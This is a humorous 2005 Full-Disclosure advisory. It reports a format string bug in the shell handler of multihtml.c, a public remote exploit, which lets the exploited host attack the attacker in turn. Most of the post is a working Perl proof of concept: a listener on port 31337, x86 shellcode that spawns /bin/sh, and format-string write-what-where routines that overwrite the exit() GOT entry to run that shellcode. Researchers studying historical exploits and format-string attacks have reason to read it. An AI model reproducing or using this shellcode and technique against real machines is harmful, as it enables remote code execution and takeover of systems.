[Full-disclosure] multihtml exploit vulnerability advisory

[Pot Kettle Industries <potkettle@xxxxxxxxx>]

Multihtml.c Security Advisory
Pot Kettle Industries <http://potkettle.net>

Topic: Multihtml.c exploit remote vulnerability
Category: Remote for Remote
Vendor: bansh33 <rishi@xxxxxxxxxxxxx>, r00tabega security labs
<http://www.r00tabega.org>
Announced: 2005-06-10
Credits: Pot Kettle Industries
Affects: All Platforms
Corrected: N/A
URL: http://potkettle.net/advisories/1

I. Background
Multihtml.c is a remote exploit written by r00tabega for /cgi-bin/multihtml.pl
resulting in a shell spawned for the attacker on port 31337, presumably because
this sequence of numbers resembles the word "eleet" which sounds like the word
"elite". 

multihtml.c was written by bansh33 [rishi@xxxxxxxxxxxxx]

II. Problem Description
The shell implementation within the exploit contains a format string
vulnerability which prints the returned values from the compromised machine
directly.

III. Impact
If the use of the exploit is recognized, it may be possible for a
meta-malicious user to execute arbitrary code on the machine of the malicious
user through the use of a write-what-where

IV. Workaround
If a lot of odd ascii begins to fly by on the leet shell you just popped, turn
off your computer and do something safe, like needle point, or pet a small
kitten.

V. Solution
We have not contacted banshee [rishi@xxxxxxxxxxxxx] at r00tabega security labs
[www.r00tabega.com] to obtain an official solution.

We're pretty partial to kittens, but thats just us.

VI. Proof of Concept Exploit

#!/usr/bin/perl -w

use IO::Socket::INET;
use IO::Select;
use Time::HiRes qw( usleep );
use strict;

my $shellcode =

# Our single socket thing....
# orig (no forks)
#"\x31\xd2\x66\xba\xb4\x01\x01\xd4\x5f\x31\xc9\x89\xfb\x6a\x3f\x58\xcd" .
#"\x80\x41\x6a\x3f\x58\xcd\x80\x41\x6a\x3f\x58\xcd\x80A" .

"\x6a\x02\x58\xcd\x80\x21\xc0\x75\x09\x6a\x02\x58\xcd\x80\x21\xc0" .
"\x74\x05\x6a\x01\x58\xcd\x80\x31\xd2\x66\xba\xb4\x01\x01\xd4\x5f" .
"\x31\xc9\x89\xfb\x6a\x3f\x58\xcd\x80\x41\x6a\x3f\x58\xcd\x80\x41" .
"\x6a\x3f\x58\xcd\x80" .

# # The normal Shellcode
"\x6a\x0b\x58\x99\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89" .
"\xe3\x52\x53\x89\xe1\xcd\x80";

my $where = 0x0804a2d8;

my $sock = IO::Socket::INET->new(
        Listen => 5,
        ReuseAddr => 1,
        LocalPort => 31337,
        Proto => 'tcp');
my $cli = $sock->accept();

# first, make sure we don't get caught *wink wink*
print $cli "Calculating new offsets... Bansh33 rulze!\n";
sleep (1);

# write our shellcode into the environment
# and overwrite where with the addr of shellcode
writeShellcode($cli, $shellcode, $where);
sleep (1);

# trigger exit to be called then start our shell listener
print $cli "\x00\x00";
shell($cli);

# its like a little ghetto smurf
sub shell {
    my ($cli) = @_;
    my $selecter = IO::Select->new($cli, \*STDIN);
    while (my @fds = $selecter->can_read) {
        foreach my $fd (@fds) {
            my $buf;
            sysread($fd, $buf, 10000);
            if ($fd == $cli) {
                print $buf;
            } else {
                print $cli $buf;
            }
        }
    }
}

# write a 2 arbitrary bytes to anywhere in memory
sub WriteWhatWhere {
    my ($cli, $what, $where) = @_;
    syswrite $cli, pack("L", $where) . "%.0s"x37 . "%." . (unpack("S",
$what) - 4) . "x%hn\n";
    usleep(300000);
}

# write the shellcode
sub writeShellcode {
    my ($cli, $shellcode, $boing) = @_;

    my $len = length($shellcode);
    my $where = 0xbfffffff - $len;

    printf("Writting shellcode to mem at: 0x%.8x\n",$where);
    for (my $i = 0; $i < $len; $i+=2) {
        my $somebuf = substr($shellcode, $i, 2);
        WriteWhatWhere($cli, $somebuf, $where+$i);
    }

    printf("Writting over exit() address in GOT: 0x%.8x\n", $boing);
    WriteWhatWhere($cli, substr(pack("I", $where), 0, 2), $boing);
    WriteWhatWhere($cli, substr(pack("I", $where), 2, 2), $boing+2);
}
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